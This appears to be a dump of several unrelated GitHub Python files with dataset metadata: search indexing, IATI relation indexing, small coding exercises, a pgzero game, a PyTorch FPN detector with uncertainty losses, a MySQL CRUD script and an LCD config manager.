yield_per=100):\n return self.create_index(model, delete=True, yield_per=yield_per)\n","repo_name":"bartdegoede/flask-whoosh-alchemy","sub_path":"flask_whoosh_alchemy/search.py","file_name":"search.py","file_ext":"py","file_size_in_byte":11425,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"20303236930","text":"def index_many_to_many_relations(activity):\n \"\"\"\n Index many-to-many relations is used to support the use of relational data,\n Currently we use it for the result indicators, which have 0 to N periods and baselines.\n By providing an index for each indicator in for these children, a frontend can access these files as relational\n \"\"\"\n # Index result indicator, starting with baseline:\n # An indicator has 0 to N baselines, if 0, represent with index -1, else represent with index n.\n if 'result' in activity:\n if type(activity['result']) != list:\n activity['result'] = [activity['result']]\n for result in activity['result']:\n add_result_child_indexes(result, 'indicator')\n # Index participating organisations.\n if 'participating-org' in activity:\n if type(activity['participating-org']) != list:\n activity['participating-org'] = [activity['participating-org']]\n add_participating_org_child_indexes(activity, 'participating-org')\n\n\ndef add_participating_org_child_indexes(field, child):\n \"\"\"\n Go through the activity participating orgs and index the given child.\n Because this is currently used for results, we directly pass the required children.\n\n :param field: a dataset containing the initial child of the activity\n :param child: the second level child of the aforementioned field\n \"\"\"\n # Check if the child exists and make the child a list if it is a dict.\n add_field_child_field_indexes(field, child, 'ref')\n add_field_child_field_indexes(field, child, 'type')\n add_field_child_field_indexes(field, child, 'role')\n add_field_child_field_indexes(field, child, 'activity-id')\n add_field_child_field_indexes(field, child, 'crs-channel-code')\n add_field_child_field_indexes(field, child, 'narrative')\n add_field_child_field_children_indexes(field, child, 'narrative', children=['lang'])\n\n\ndef add_result_child_indexes(field, child):\n \"\"\"\n Go through the activity results and index the given child.\n Because this is currently used for results, we directly pass the required children.\n\n :param field: a dataset containing the initial child of the activity\n :param child: the second level child of the aforementioned field\n \"\"\"\n # Check if the child exists and make the child a list if it is a dict.\n if child not in field:\n return\n if type(field[child]) != list:\n field[child] = [field[child]]\n\n add_field_child_field_indexes(field, child, 'baseline')\n add_field_child_field_indexes(field, child, 'period')\n add_field_child_field_children_indexes(field, child, 'period', children=['actual', 'target'])\n\n\ndef add_field_child_field_indexes(data, target_field, field):\n \"\"\"\n Index and save the specified field and parent.\n\n :param data: the data object\n :param target_field: the first level child of data, like an indicator\n :param field: the second level child of data, like indicator.period\n \"\"\"\n total_field = 0\n data[f'{target_field}.{field}-index'] = []\n\n for target in data[target_field]:\n # for each first-level child in the data:\n # - if there is no field, set the index to -1\n # - if there is a field, set the index to the number of occurrences\n\n if field not in target:\n # if there is no field, we notate it with -1\n data[f'{target_field}.{field}-index'].append(-1)\n continue\n\n # make sure the baseline is a list of baselines.\n if type(target[field]) != list:\n target[field] = [target[field]]\n\n field_index = total_field\n total_field += len(target[field])\n data[f'{target_field}.{field}-index'].append(field_index)\n\n\ndef add_field_child_field_children_indexes(data, target_field, field, children):\n \"\"\"\n We need to have a separate function for this, it cannot be recursive, because\n we need to store this information at the base level of the budget, rather than\n in the \"second level\" child of data, to maintain a complete index.\n\n :param data: the data object\n :param target_field: the first level child of data, like an indicator\n :param field: the second level child of data, like indicator.period\n :param children: a list of third level children, such as indicator.period.actual\n \"\"\"\n # Loop over the desired children\n for child in children:\n total_field = 0\n data[f'{target_field}.{field}.{child}-index'] = []\n # For every first level child we need to check for second level children.\n for target in data[target_field]:\n if field in target:\n # If the second level child is found, loop over this and check if the third level children are found.\n if type(target[field]) != list:\n target[field] = [target[field]]\n iterate_third_level_children(child, data, field, target, target_field, total_field)\n return data\n\n\ndef iterate_third_level_children(child, data, field, target, target_field, total_field):\n \"\"\"\n target[field] is now a list of the second level children,\n for every second level child, check if the third level children are found.\n Use enumerate to only save the index of for the first occurrence.\n \"\"\"\n for item in target[field]:\n if type(item) != dict:\n field_index = -1\n elif child in item:\n field_index = total_field\n if type(item[child]) != list:\n total_field += 1\n else:\n total_field += len(item[child])\n else:\n field_index = -1\n data[f'{target_field}.{field}.{child}-index'].append(field_index)\n","repo_name":"zimmerman-team/IATI.cloud","sub_path":"direct_indexing/custom_fields/indexing_manytomany_relations.py","file_name":"indexing_manytomany_relations.py","file_ext":"py","file_size_in_byte":5707,"program_lang":"python","lang":"en","doc_type":"code","stars":32,"dataset":"github-code","pt":"75"} +{"seq_id":"4575791550","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Jan 27 17:18:33 2020\n\n@author: user\n\"\"\"\n\"\"\"\nName: \n Pallindromic Integer\nFilename: \n pallindromic.py\nProblem Statement:\n You are given a space separated list of integers. \n If all the integers are positive and if any integer is a palindromic integer, \n then you need to print True else print False.\n (Take Input from User) \nData:\n Not required\nExtension:\n Not Available \nHint: \n A palindromic number or numeral palindrome is a number that remains the same\n when its digits are reversed. \n Like 16461, for example, it is \"symmetrical\" \nAlgorithm:\n Not Available \nBoiler Plate Code:\n Not Available \nSample Input:\n 12 9 61 5 14 \nSample Output:\n Flase \n\"\"\"\n\n\n\n\ninp = input(\"Enter a list of number\").split()\n\n\nfor i in inp:\n rev = i[::-1]\n if rev == i:\n print(\"True\")\n break\nelse:\n print(\"Fales\")\n \n","repo_name":"hellosandeep1999/python","sub_path":"pallindromic.py","file_name":"pallindromic.py","file_ext":"py","file_size_in_byte":920,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"75"} +{"seq_id":"24509361208","text":"class solution:\n def maxProfit(self, prices):\n if not prices:\n return 0\n f = [[-prices[0], 0, 0]] + [[0] * 3 for _ in range(len(prices) - 1)]\n \"\"\"\n 买入 卖出 冷冻期 买入 卖出 冷冻期\n f[i][0]: 手上持有的股票的最大收益(i-1就有 i买的) \n f[i][1]:手上不持有股票 处于冷却期(i-1的股票卖了)\n f[i][2]:手上不持有股票 不在冷却期 (i-1没股票的两种情况[1][2]) \n \"\"\"\n for i in range(1, len(prices)):\n f[i][0] = max(f[i - 1][0], f[i - 1][2] - prices[i])\n f[i][1] = f[i - 1][0] + prices[i]\n f[i][2] = max(f[i - 1][1], f[i - 1][2])\n return max(f[len(prices) - 1][1], f[len(prices)-1][2])\n\n\nif __name__ == '__main__':\n solution = solution()\n prices = [1, 2, 3, 0, 2]\n print(solution.maxProfit(prices))\n","repo_name":"zzzzlalala/gitsapce","sub_path":"leetcode/medium/309_maxprofit.py","file_name":"309_maxprofit.py","file_ext":"py","file_size_in_byte":920,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"13673201927","text":"# -*- coding:utf-8 -*-\n'''\nCreated on 2014-3-11\n\n@author: likun\n'''\n\nimport logging\nimport traceback\n\n\n\nlogger = logging.getLogger('db_update')\nlogger.setLevel(logging.DEBUG)\n\nRETRY_COUNT = 3\n\n\ndef db_update(collection,find,modification):\n for retry_count in range(RETRY_COUNT):\n try:\n ret = collection.update(find, modification)\n if ret.get(\"updatedExisting\") == True and ret.get(\"n\") > 0:\n return\n except Exception:\n logger.debug(\"db_update error, message=%s\" % (traceback.format_exc()))\n","repo_name":"jy02383505/bermuda3","sub_path":"core/update.py","file_name":"update.py","file_ext":"py","file_size_in_byte":555,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"19043590557","text":"import pgzrun\nfrom random import randint\nimport pygame\nimport sys\nimport os\n\n\nstartgame = False\ngame_over = False\napple = Actor(\"apple\")\norange = Actor(\"orange\")\nscore = 0\n\n\ndef draw():\n screen.fill(\"black\")\n apple.draw()\n orange.draw()\n screen.draw.text(\"Score : \" + str(score), color=\"green\", topleft=(10, 10))\n\n if game_over:\n screen.fill(\"green\")\n screen.draw.text(\"Final Score: \" + str(score), topleft=(10, 10), fontsize=60)\n\n \ndef time_up():\n global game_over\n game_over = True\n \ndef place_orange():\n orange.x = randint(10, 800)\n orange.y = randint(10, 600)\n \n \ndef place_apple():\n apple.x = randint(10, 800)\n apple.y = randint(10, 600)\n \ndef on_mouse_down(pos):\n if apple.collidepoint(pos):\n global score\n print(\"Good shot!\")\n score = score + 1\n screen.clear()\n place_apple()\n print(\"Your score is: \",score)\n elif orange.collidepoint(pos):\n print(\"Good shot!\")\n score = score + 2\n screen.clear()\n place_orange()\n print(\"Your score is: \",score)\n else:\n score = score - 2\n print(\"You missed! Your score is now \",score)\n\n\nclock.schedule(time_up, 15.0)\nplace_apple()\nplace_orange()\n","repo_name":"Maxicoza/shoot-the-fruit","sub_path":"shoot.py","file_name":"shoot.py","file_ext":"py","file_size_in_byte":1281,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"26935520708","text":"import random\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nfrom torch.autograd import Variable, gradcheck\nfrom torch.autograd.gradcheck import gradgradcheck\nimport torchvision.models as models\nfrom torch.autograd import Variable\nimport numpy as np\nimport torchvision.utils as vutils\nfrom model.utils.config import cfg # rm 'lib.', or cfg will be create a new copy\nfrom model.rpn.rpn_fpn import _RPN_FPN\nfrom model.roi_pooling.modules.roi_pool import _RoIPooling\nfrom model.roi_crop.modules.roi_crop import _RoICrop\nfrom model.roi_align.modules.roi_align import RoIAlignAvg\nfrom model.rpn.proposal_target_layer import _ProposalTargetLayer\nfrom model.utils.net_utils import _smooth_l1_loss, _smooth_l1_loss_epi, _smooth_l1_loss_penalty, _crop_pool_layer, _affine_grid_gen, _affine_theta\nimport time\nimport pdb\n\nclass _FPN(nn.Module):\n \"\"\" FPN \"\"\"\n def __init__(self, classes, class_agnostic):\n super(_FPN, self).__init__()\n self.classes = classes\n self.n_classes = len(classes)\n self.class_agnostic = class_agnostic\n # loss\n self.RCNN_loss_cls = 0\n self.RCNN_loss_bbox = 0\n #self.dropout = nn.Dropout(0.5)\n\n self.maxpool2d = nn.MaxPool2d(1, stride=2)\n # define rpn\n self.RCNN_rpn = _RPN_FPN(self.dout_base_model)\n self.RCNN_proposal_target = _ProposalTargetLayer(self.n_classes)\n\n # NOTE: the original paper used pool_size = 7 for cls branch, and 14 for mask branch, to save the\n # computation time, we first use 14 as the pool_size, and then do stride=2 pooling for cls branch.\n self.RCNN_roi_pool = _RoIPooling(cfg.POOLING_SIZE, cfg.POOLING_SIZE, 1.0/16.0)\n self.RCNN_roi_align = RoIAlignAvg(cfg.POOLING_SIZE, cfg.POOLING_SIZE, 1.0/16.0)\n self.grid_size = cfg.POOLING_SIZE * 2 if cfg.CROP_RESIZE_WITH_MAX_POOL else cfg.POOLING_SIZE\n self.RCNN_roi_crop = _RoICrop()\n\n def _init_weights(self):\n def normal_init(m, mean, stddev, truncated=False):\n \"\"\"\n weight initalizer: truncated normal and random normal.\n \"\"\"\n # x is a parameter\n if truncated:\n m.weight.data.normal_().fmod_(2).mul_(stddev).add_(mean) # not a perfect approximation\n else:\n m.weight.data.normal_(mean, stddev)\n m.bias.data.zero_()\n\n # custom weights initialization called on netG and netD\n def weights_init(m, mean, stddev, truncated=False):\n classname = m.__class__.__name__\n if classname.find('Conv') != -1:\n m.weight.data.normal_(0.0, 0.02)\n m.bias.data.fill_(0)\n elif classname.find('BatchNorm') != -1:\n m.weight.data.normal_(1.0, 0.02)\n m.bias.data.fill_(0)\n\n normal_init(self.RCNN_toplayer, 0, 0.01, cfg.TRAIN.TRUNCATED)\n normal_init(self.RCNN_smooth1, 0, 0.01, cfg.TRAIN.TRUNCATED)\n normal_init(self.RCNN_smooth2, 0, 0.01, cfg.TRAIN.TRUNCATED)\n normal_init(self.RCNN_smooth3, 0, 0.01, cfg.TRAIN.TRUNCATED)\n normal_init(self.RCNN_latlayer1, 0, 0.01, cfg.TRAIN.TRUNCATED)\n normal_init(self.RCNN_latlayer2, 0, 0.01, cfg.TRAIN.TRUNCATED)\n normal_init(self.RCNN_latlayer3, 0, 0.01, cfg.TRAIN.TRUNCATED)\n# normal_init(self.Loc_Uncertain, 0, 0.0001, cfg.TRAIN.TRUNCATED)\n\n normal_init(self.RCNN_rpn.RPN_Conv, 0, 0.01, cfg.TRAIN.TRUNCATED)\n normal_init(self.RCNN_rpn.RPN_cls_score, 0, 0.01, cfg.TRAIN.TRUNCATED)\n normal_init(self.RCNN_rpn.RPN_bbox_pred, 0, 0.01, cfg.TRAIN.TRUNCATED)\n normal_init(self.RCNN_cls_score, 0, 0.1, cfg.TRAIN.TRUNCATED)\n normal_init(self.RCNN_bbox_pred, 0, 0.001, cfg.TRAIN.TRUNCATED)\n weights_init(self.RCNN_top, 0, 0.01, cfg.TRAIN.TRUNCATED)\n\n def create_architecture(self):\n self._init_modules()\n self._init_weights()\n\n def _upsample_add(self, x, y):\n '''Upsample and add two feature maps.\n Args:\n x: (Variable) top feature map to be upsampled.\n y: (Variable) lateral feature map.\n Returns:\n (Variable) added feature map.\n Note in PyTorch, when input size is odd, the upsampled feature map\n with `F.upsample(..., scale_factor=2, mode='nearest')`\n maybe not equal to the lateral feature map size.\n e.g.\n original input size: [N,_,15,15] ->\n conv2d feature map size: [N,_,8,8] ->\n upsampled feature map size: [N,_,16,16]\n So we choose bilinear upsample which supports arbitrary output sizes.\n '''\n _,_,H,W = y.size()\n return F.upsample(x, size=(H,W), mode='bilinear') + y\n\n def _PyramidRoI_Feat(self, feat_maps, rois, im_info):\n ''' roi pool on pyramid feature maps'''\n # do roi pooling based on predicted rois\n img_area = im_info[0][0] * im_info[0][1]\n h = rois.data[:, 4] - rois.data[:, 2] + 1\n w = rois.data[:, 3] - rois.data[:, 1] + 1\n roi_level = torch.log(torch.sqrt(h * w) / 224.0) / np.log(2)\n roi_level = torch.floor(roi_level + 4)\n # --------\n # roi_level = torch.log(torch.sqrt(h * w) / 224.0)\n # roi_level = torch.round(roi_level + 4)\n # ------\n roi_level[roi_level < 2] = 2\n roi_level[roi_level > 5] = 5\n # roi_level.fill_(5)\n if cfg.POOLING_MODE == 'crop':\n # pdb.set_trace()\n # pooled_feat_anchor = _crop_pool_layer(base_feat, rois.view(-1, 5))\n # NOTE: need to add pyrmaid\n grid_xy = _affine_grid_gen(rois, feat_maps.size()[2:], self.grid_size) ##\n grid_yx = torch.stack([grid_xy.data[:,:,:,1], grid_xy.data[:,:,:,0]], 3).contiguous()\n roi_pool_feat = self.RCNN_roi_crop(feat_maps, Variable(grid_yx).detach()) ##\n if cfg.CROP_RESIZE_WITH_MAX_POOL:\n roi_pool_feat = F.max_pool2d(roi_pool_feat, 2, 2)\n\n elif cfg.POOLING_MODE == 'align':\n roi_pool_feats = []\n box_to_levels = []\n for i, l in enumerate(range(2, 6)):\n if (roi_level == l).sum() == 0:\n continue\n idx_l = (roi_level == l).nonzero().squeeze()\n box_to_levels.append(idx_l)\n scale = feat_maps[i].size(2) / im_info[0][0]\n feat = self.RCNN_roi_align(feat_maps[i], rois[idx_l], scale)\n roi_pool_feats.append(feat)\n roi_pool_feat = torch.cat(roi_pool_feats, 0)\n box_to_level = torch.cat(box_to_levels, 0)\n idx_sorted, order = torch.sort(box_to_level)\n roi_pool_feat = roi_pool_feat[order]\n\n elif cfg.POOLING_MODE == 'pool':\n roi_pool_feats = []\n box_to_levels = []\n for i, l in enumerate(range(2, 6)):\n if (roi_level == l).sum() == 0:\n continue\n idx_l = (roi_level == l).nonzero().squeeze()\n box_to_levels.append(idx_l)\n scale = feat_maps[i].size(2) / im_info[0][0]\n feat = self.RCNN_roi_pool(feat_maps[i], rois[idx_l], scale)\n roi_pool_feats.append(feat)\n roi_pool_feat = torch.cat(roi_pool_feats, 0)\n box_to_level = torch.cat(box_to_levels, 0)\n idx_sorted, order = torch.sort(box_to_level)\n roi_pool_feat = roi_pool_feat[order]\n \n return roi_pool_feat\n\n\n def cls_uncertainty_loss(self, pred, label, var_cls_epi_exp):\n label_gt = torch.zeros_like(pred)\n label_gt = label_gt.scatter_(1, label.unsqueeze(1), 1)\n\n label_other = torch.ones_like(pred)\n label_other = label_other.scatter_(1, label.unsqueeze(1), 0)\n\n# print(var_cls_epi_exp[0,:], label_gt[0,:], label_other[0,:])\n# assert 1==0\n return ((-1) * var_cls_epi_exp * label_gt * torch.log(pred + 1e-10) + (-1) * var_cls_epi_exp * label_other * torch.log((1-pred) + 1e-10)).sum(1)\n\n def cross_entropy_impl(self, pred, label): #, uncer_loc, uncer_cls):\n hypothesis = F.softmax(pred)\n label_onehot = torch.zeros_like(hypothesis)\n label_onehot.scatter_(1, label.unsqueeze(1), 1)\n print(pred, label)\n assert 1==0\n# uncer_cls_weights = torch.clamp(torch.log(1+ uncer_cls.detach()/(uncer_loc.detach() + 1e-3) + uncer_loc.detach()/(uncer_cls.detach()+1e-3)), max=2)\n #print(uncer_cls_weights, label_onehot)\n #assert 1==0\n return ((-1) * uncer_cls_weights * label_onehot * torch.log(hypothesis)).sum(dim=1).mean()\n\n def cross_entropy_impl2(self, pred, label):\n hypothesis = F.softmax(pred)\n label_onehot = torch.zeros_like(hypothesis)\n label_onehot.scatter_(1, label.unsqueeze(1), 1)\n #uncer_cls_weights = torch.clamp(torch.log(1+ uncer_cls.detach()/(uncer_loc.detach() + 1e-3) + uncer_loc.detach()/(uncer_cls.detach()+1e-3)), max=2)\n #print(uncer_cls_weights, label_onehot)\n #assert 1==0\n return ((-1) * label_onehot * torch.log(hypothesis)).sum(dim=1).mean()\n\n def gaussian(self, ins, cls_uncertain, mean=0, stddev=1, is_training=True):\n if is_training:\n noise = Variable(ins.data.new(ins.size()).normal_(mean, stddev))\n# print(ins)\n return ins + cls_uncertain * noise\n return ins\n\n def forward(self, im_data, im_info, gt_boxes, num_boxes, epoch=0):\n batch_size = im_data.size(0)\n\n im_info = im_info.data\n gt_boxes = gt_boxes.data\n num_boxes = num_boxes.data\n\n # feed image data to base model to obtain base feature map\n # Bottom-up\n c1 = self.RCNN_layer0(im_data)\n c2 = self.RCNN_layer1(c1)\n c3 = self.RCNN_layer2(c2)\n c4 = self.RCNN_layer3(c3)\n c5 = self.RCNN_layer4(c4)\n # Top-down\n p5 = self.RCNN_toplayer(c5)\n p4 = self._upsample_add(p5, self.RCNN_latlayer1(c4))\n p4 = self.RCNN_smooth1(p4)\n p3 = self._upsample_add(p4, self.RCNN_latlayer2(c3))\n p3 = self.RCNN_smooth2(p3)\n p2 = self._upsample_add(p3, self.RCNN_latlayer3(c2))\n p2 = self.RCNN_smooth3(p2)\n\n p6 = self.maxpool2d(p5)\n\n rpn_feature_maps = [p2, p3, p4, p5, p6]\n mrcnn_feature_maps = [p2, p3, p4, p5]\n\n rois, rpn_loss_cls, rpn_loss_bbox = self.RCNN_rpn(rpn_feature_maps, im_info, gt_boxes, num_boxes)\n\n # if it is training phrase, then use ground trubut bboxes for refining\n if self.training:\n roi_data = self.RCNN_proposal_target(rois, gt_boxes, num_boxes)\n rois, rois_label, gt_assign, rois_target, rois_inside_ws, rois_outside_ws = roi_data\n\n ## NOTE: additionally, normalize proposals to range [0, 1],\n # this is necessary so that the following roi pooling\n # is correct on different feature maps\n # rois[:, :, 1::2] /= im_info[0][1]\n # rois[:, :, 2::2] /= im_info[0][0]\n\n rois = rois.view(-1, 5)\n rois_label = rois_label.view(-1).long()\n gt_assign = gt_assign.view(-1).long()\n pos_id = rois_label.nonzero().squeeze()\n gt_assign_pos = gt_assign[pos_id]\n rois_label_pos = rois_label[pos_id]\n rois_label_pos_ids = pos_id\n\n rois_pos = Variable(rois[pos_id])\n rois = Variable(rois)\n rois_label = Variable(rois_label)\n\n rois_target = Variable(rois_target.view(-1, rois_target.size(2)))\n rois_inside_ws = Variable(rois_inside_ws.view(-1, rois_inside_ws.size(2)))\n rois_outside_ws = Variable(rois_outside_ws.view(-1, rois_outside_ws.size(2)))\n else:\n ## NOTE: additionally, normalize proposals to range [0, 1],\n # this is necessary so that the following roi pooling\n # is correct on different feature maps\n # rois[:, :, 1::2] /= im_info[0][1]\n # rois[:, :, 2::2] /= im_info[0][0]\n\n rois_label = None\n gt_assign = None\n rois_target = None\n rois_inside_ws = None\n rois_outside_ws = None\n rpn_loss_cls = 0\n rpn_loss_bbox = 0\n rois = rois.view(-1, 5)\n pos_id = torch.arange(0, rois.size(0)).long().type_as(rois).long()\n rois_label_pos_ids = pos_id\n rois_pos = Variable(rois[pos_id])\n rois = Variable(rois)\n\n roi_pool_feat = self._PyramidRoI_Feat(mrcnn_feature_maps, rois, im_info)\n\n pooled_feat = self._head_to_tail(roi_pool_feat)\n\n # compute bbox offset\n bbox_pred = self.RCNN_bbox_pred(pooled_feat)\n\n if self.training and not self.class_agnostic:\n # select the corresponding columns according to roi labels\n bbox_pred_view = bbox_pred.view(bbox_pred.size(0), int(bbox_pred.size(1) / 4), 4)\n bbox_pred_select = torch.gather(bbox_pred_view, 1, rois_label.long().view(rois_label.size(0), 1, 1).expand(rois_label.size(0), 1, 4))\n bbox_pred = bbox_pred_select.squeeze(1)\n\n cls_score = self.RCNN_cls_score(pooled_feat)\n cls_prob = F.softmax(cls_score)\n\n RCNN_loss_cls = 0\n RCNN_loss_bbox = 0\n\n ############# Estimate Epistemic Uncertainty #############\n mean_cls_epi = []\n mean2_cls_epi = []\n mean_loc_epi = []\n mean2_loc_epi = []\n if self.training:\n iteration = 20\n else:\n iteration = 1\n\n for ii in range(iteration):\n roi_pool_feat_epi = F.dropout(roi_pool_feat, p=0.5, training=True)\n pooled_feat_epi = self._head_to_tail_dropout(roi_pool_feat_epi.detach())\n pooled_feat_epi = F.dropout(pooled_feat_epi, p=0.5, training=True)\n bbox_pred_epi = self.RCNN_bbox_pred(pooled_feat_epi.detach())\n\n cls_score_epi = self.RCNN_cls_score(pooled_feat_epi.detach())\n cls_prob_epi = F.softmax(cls_score_epi)\n mean_cls_epi.append(cls_prob_epi ** 2)\n mean2_cls_epi.append(cls_prob_epi)\n mean_loc_epi.append(bbox_pred_epi ** 2)\n mean2_loc_epi.append(bbox_pred_epi)\n\n mean1s_cls_epi = torch.stack(mean_cls_epi, dim=0).mean(dim=0)\n mean2s_cls_epi = torch.stack(mean2_cls_epi, dim=0).mean(dim=0)\n mean1s_loc_epi = torch.stack(mean_loc_epi, dim=0).mean(dim=0)\n mean2s_loc_epi = torch.stack(mean2_loc_epi, dim=0).mean(dim=0)\n\n var_cls_epi = mean1s_cls_epi - mean2s_cls_epi ** 2\n var_loc_epi = mean1s_loc_epi - mean2s_loc_epi ** 2\n var_cls_epi = var_cls_epi / var_cls_epi.max()\n\n if self.training:\n label_pos = torch.zeros_like(var_cls_epi)\n label_pos = label_pos.scatter_(1, rois_label.unsqueeze(1), 1) * torch.exp(var_cls_epi)\n\n label_neg = torch.ones_like(var_cls_epi) * torch.exp(var_cls_epi) - label_pos.max(1)[0].unsqueeze(1).repeat(1,var_cls_epi.shape[-1])\n\n var_cls_epi_exp = (label_pos + label_neg).detach()\n var_loc_epi_exp = torch.exp(var_loc_epi).detach()\n else:\n var_cls_epi = (var_cls_epi / var_cls_epi.max()).mean(1)\n var_loc_epi = (var_loc_epi / var_loc_epi.max()).mean(1)\n# print(var_cls_epi_exp[0,:])\n\n# var_cls_epi = (var_cls_epi / var_cls_epi.max())#.mean(1)\n# var_loc_epi = (var_loc_epi / var_loc_epi.max())#.mean(1)\n# ############################################################\n if self.training == False:\n #var_cls_epi = var_cls_epi / var_cls_epi.max()\n var_loc_epi = var_loc_epi / var_loc_epi.max()\n\n if self.training:\n# RCNN_loss_bbox = _smooth_l1_loss_w_uncertainty(bbox_pred, rois_target, loc_uncertain, rois_inside_ws, rois_outside_ws)\n RCNN_loss_bbox = _smooth_l1_loss_epi(bbox_pred, rois_target, var_loc_epi_exp, rois_inside_ws, rois_outside_ws)\n# Entropy = (-1) * (F.softmax(cls_score, dim=1) * F.log_softmax(cls_score, dim=1)).sum(1)\n# Cross_Entropy = F.cross_entropy(cls_score, rois_label, size_average=False, reduce=False)\n#\n# RCNN_loss_cls = ((1-var_cls_epi) * Cross_Entropy + var_cls_epi * (-1) * Entropy).mean()\n\n# print (cls_prob)\n RCNN_loss_cls = self.cls_uncertainty_loss(cls_prob, rois_label, var_cls_epi_exp).mean()\n\n rois = rois.view(batch_size, -1, rois.size(1))\n cls_prob = cls_prob.view(batch_size, -1, cls_prob.size(1))\n bbox_pred = bbox_pred.view(batch_size, -1, bbox_pred.size(1))\n\n if self.training:\n rois_label = rois_label.view(batch_size, -1)\n\n return rois, cls_prob, var_loc_epi, var_cls_epi, bbox_pred, rpn_loss_cls, rpn_loss_bbox, RCNN_loss_cls, RCNN_loss_bbox, rois_label\n","repo_name":"sungjune-p/FPN_Pytorch","sub_path":"fpn.py","file_name":"fpn.py","file_ext":"py","file_size_in_byte":16769,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"38547828298","text":"from tabulate import tabulate\nimport mysql.connector\ncon=mysql.connector.connect(host=\"localhost\",user=\"root\",password=\"root\",database=\"py_db1\")\ndef insert (name , age , phonenum):\n res = con.cursor()\n sql = \"insert into users(name,age,phonenum) values (%s,%s,%s)\"\n user = (name,age,phonenum)\n res.execute(sql,user)\n con.commit()\n print(\"data insert success\")\n\ndef update (name, age, phonenum,id):\n res = con.cursor()\n sql = \"update users set name=%s,age=%s,phonenum=%s where id=%s\"\n user = (name, age, phonenum,id)\n res.execute(sql, user)\n con.commit()\n print(\"data update success\")\ndef select():\n res = con.cursor()\n sql = \"Select ID,NAME,AGE,PHONENUM from users\"\n res.execute(sql)\n result = res.fetchall()\n print(tabulate(result, headers=[\"ID\", \"NAME\", \"AGE\", \"PHONENUM\"]))\ndef delete(id):\n res=con.cursor()\n sql=\"delete from users where id=%s\"\n user=(id)\n res.execute(sql,user)\n con.commit()\n print(\"Data delete success\")\nwhile True:\n print(\"1.Insert Data\")\n print(\"2.Update Data\")\n print(\"3.Select Data\")\n print(\"4.Delete Data\")\n print(\"5.Exit\")\n choice=int(input(\"Enter your choice:\"))\n if choice==1:\n name=input(\"Enter Name:\")\n age=input(\"Enter age:\")\n phonenum=input(\"Enter phonenum:\")\n insert(name,age,phonenum)\n elif choice == 2:\n id=input(\"Enter the Id:\")\n name = input(\"Enter Name:\")\n age = input(\"Enter age:\")\n phonenum = input(\"Enter phonenum:\")\n update(name, age, phonenum,id)\n elif choice==3:\n select()\n elif choice==4:\n id=input(\"Enter the Id to Delete:\")\n delete(id)\n elif choice==5:\n quit()\nelse:\n print(\"Invalid Selection . Plese Try Again!\")\n","repo_name":"Premkumar05012000/Hello","sub_path":"database.py","file_name":"database.py","file_ext":"py","file_size_in_byte":1781,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"22611364462","text":"#!/usr/bin/python3\n# -*- coding: utf-8 -*-\n\n__author__ = 'Bartosz Kościów'\nfrom configparser import ConfigParser\nfrom iot_message import message\nfrom charlcd.drivers.wifi_content import WiFi\nfrom charlcd.buffered import CharLCD\nfrom model.display import Display\n\n\nclass Config(object):\n filters = {'name', 'can_stream', 'node_name'}\n\n def __init__(self, file=\"config/settings.ini\"):\n self.file = file\n self.config = ConfigParser()\n self.config.read(file)\n self.validate_config_file()\n self.node_name = self.config.get(\"general\", \"node_name\")\n self.msg = message.Message(self.node_name)\n self.broadcast_ip = self.config.get(\"general\", \"broadcast_ip\")\n self.server_port = int(self.config.get(\"general\", \"server_port\"))\n if not self.broadcast_ip:\n self.broadcast_ip = ''\n self.broadcast_port = int(self.config.get(\"general\", \"broadcast_port\"))\n self.displays = []\n self.load_lcd()\n\n def validate_config_file(self):\n \"\"\"recreate general section if not found\"\"\"\n if not self.config.has_section('general'):\n self.config.add_section('general')\n self.config.set('general', 'node_name', 'new')\n self.config.set('general', 'broadcast_ip', '')\n self.config.set('general', 'broadcast_port', '5053')\n self.config.set('general', 'server_port', '5054')\n self.save_config()\n\n def load_lcd(self):\n \"\"\"finds lcd's section\"\"\"\n self.displays = []\n for section in self.config.sections():\n if section[0:3] == \"lcd\":\n self.create_display(section)\n\n def create_display(self, section):\n \"\"\"create Display from cfg section\"\"\"\n drv = WiFi(\n self.msg,\n [self.config.get(section, \"node_name\")],\n (self.broadcast_ip, self.broadcast_port)\n )\n width, height = (self.config.get(section, \"size\")).split(\"x\")\n lcd = CharLCD(int(width), int(height), drv)\n lcd.init()\n self.displays.append(\n Display(\n section,\n self.config.get(section, \"name\"),\n lcd,\n self.config.getboolean(section, \"stream\"),\n self.config.get(section, \"type\"),\n self.config.get(section, \"formatter\")\n )\n )\n\n def save_display(self, display):\n if display.uuid is None:\n section = 'lcd' + '-' + display.name\n self.config.add_section(section)\n else:\n section = display.uuid\n\n size = display.get_size()\n self.config.set(section, 'name', display.name)\n self.config.set(section, 'size', str(size[0]) + 'x' + str(size[1]))\n self.config.set(section, 'node_name', display.node_name)\n self.config.set(section, 'stream', '1' if display.can_stream else '0')\n self.config.set(section, 'type', display.type)\n self.config.set(section, 'formatter', display.formatter)\n self.load_lcd()\n self.save_config()\n\n def remove_by_name(self, name):\n \"\"\"remove section by name\"\"\"\n section = self._find_section_by_name(name)\n self.config.remove_section(section)\n self.load_lcd()\n self.save_config()\n\n def _find_section_by_name(self, name):\n for section in self.config.sections():\n if section is not None and section[0:3] == \"lcd\" \\\n and self.config.get(section, 'name') == name:\n return section\n return None\n\n def save_config(self):\n \"\"\"save config to file\"\"\"\n with open(self.file, \"w\") as f:\n self.config.write(f)\n\n def find_all(self):\n \"\"\"return all displays\"\"\"\n return self.displays\n\n def find(self, filters=[]):\n \"\"\"filter displays by criteia\"\"\"\n for f in filters:\n if f not in self.filters:\n raise Exception('incorrect filter ' + str(f))\n\n results = self.find_all()\n\n if 'name' in filters:\n results = (i for i in results if i.name == filters['name'])\n\n if 'node_name' in filters:\n results = (\n i for i in results if i.node_name == filters['node_name']\n )\n\n if 'can_stream' in filters:\n results = 